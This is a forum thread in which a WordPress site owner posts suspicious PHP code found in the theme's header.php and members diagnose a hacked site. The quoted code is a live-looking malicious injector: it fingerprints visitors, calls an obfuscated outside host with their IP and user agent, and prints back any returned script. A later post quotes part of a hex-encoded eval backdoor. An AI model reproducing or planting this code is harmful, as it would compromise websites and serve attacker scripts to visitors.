Activity Stream
48,167 MEMBERS
63440 ONLINE
besthostingforums On YouTube Subscribe to our Newsletter besthostingforums On Twitter besthostingforums On Facebook besthostingforums On facebook groups

Page 1 of 2 12 LastLast
Results 1 to 10 of 15
  1.     
    #1
    Member

    Default Suspicious Wordpress Code

    i saw this code in my wordpress website. i was wondering what is this code. Because i cant remember putting this code in my site.

    here it is.

    <?php $wp_rssh = 'http'; $wp_gt = 'get'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
    if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
    $wp_gturl=$wp_rssh."://".$wp_rssh."s".$wp_gt.".com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
    $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
    curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
    if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>
    trival Reviewed by trival on . Suspicious Wordpress Code i saw this code in my wordpress website. i was wondering what is this code. Because i cant remember putting this code in my site. here it is. <?php $wp_rssh = 'http'; $wp_gt = 'get'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER; if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){ $wp_gturl=$wp_rssh."://".$wp_rssh."s".$wp_gt.".com/".$wp_gt."/?ip=".$_SERVER."&referer=".urlencode($_SERVER)."&ua=".urlencode($wp_uagent); $ch = Rating: 5

  2.   Sponsored Links

  3.     
    #2
    Member
    Website's:
    Elite.SO Defendos.com Motionite.com
    Where is this exactly located? It seems to be something from RSS/logger.

    Defendos BETA3 Released! Thread - Official Website

  4.     
    #3
    Member
    its located in Header.php. i searched that code and i found that its a hacking code

    check this link http://awake.ro/lightblog/forms-of-w...cking-php.html

    and i cant contact the owner of that blog. i was hoping for a solution if its really true. Coz i dnt want my site to get hacked

  5.     
    #4
    Member
    if u think its a hacking code then remove it

  6.     
    #5
    Member
    Website's:
    Nerdy-Tutorials.com Mp3viddown.com Filmlab.eu
    remove the code. if the site and all plugins are functioning then perfect. if the site and only one plugin is not functioning then you got a problem. Or it could be because of your theme..

  7.     
    #6
    Respected Member
    Your Wordpress has been compromised. header.php is not the only file someone has changed.

    Check functions, and all major files. Also in wp-include check for wp-log.php, that file probably will have different date of upload because someone has added it.
    Have fitness or bodybuilding question? Ask Smith!


  8.     
    #7
    Member
    in wp-log.php i found this : preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x 61\x74\x65\x28\x62\x61\ . it really looks like i got hacked

  9.     
    #8
    Member
    i finally removed the wp-login.php and it worked fine till i see wierd Crawl errors from webmasters tool .

    like this : http://www.sample.com/MyPage/1345363990000/1345971325000

    whats with the numbers? i only created MyPage. and then i saw a Crawl 404 errors in webmasters tool lots of them 300 per day

  10.     
    #9
    Member
    always update wordpress , then u will not receive this hacking codes

  11.     
    #10
    Member
    im always up to date. but still this happened

Page 1 of 2 12 LastLast

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Help Me Please.. Code PHP Wordpress
    By fedro$a in forum Web Development Area
    Replies: 5
    Last Post: 27th Jun 2012, 12:11 PM
  2. Wordpress Code help
    By .nItIsH. in forum Technical Help Desk Support
    Replies: 0
    Last Post: 22nd Jan 2012, 03:22 PM
  3. [Hiring] Code WordPress Theme
    By dima1236 in forum Completed Transactions
    Replies: 3
    Last Post: 23rd Oct 2011, 03:08 PM
  4. tag code for wordpress
    By Majky71 in forum Wordpress
    Replies: 5
    Last Post: 2nd Oct 2011, 02:02 PM
  5. Wordpress code help
    By RT in forum Wordpress
    Replies: 1
    Last Post: 20th Dec 2009, 12:34 AM

Tags for this Thread

BE SOCIAL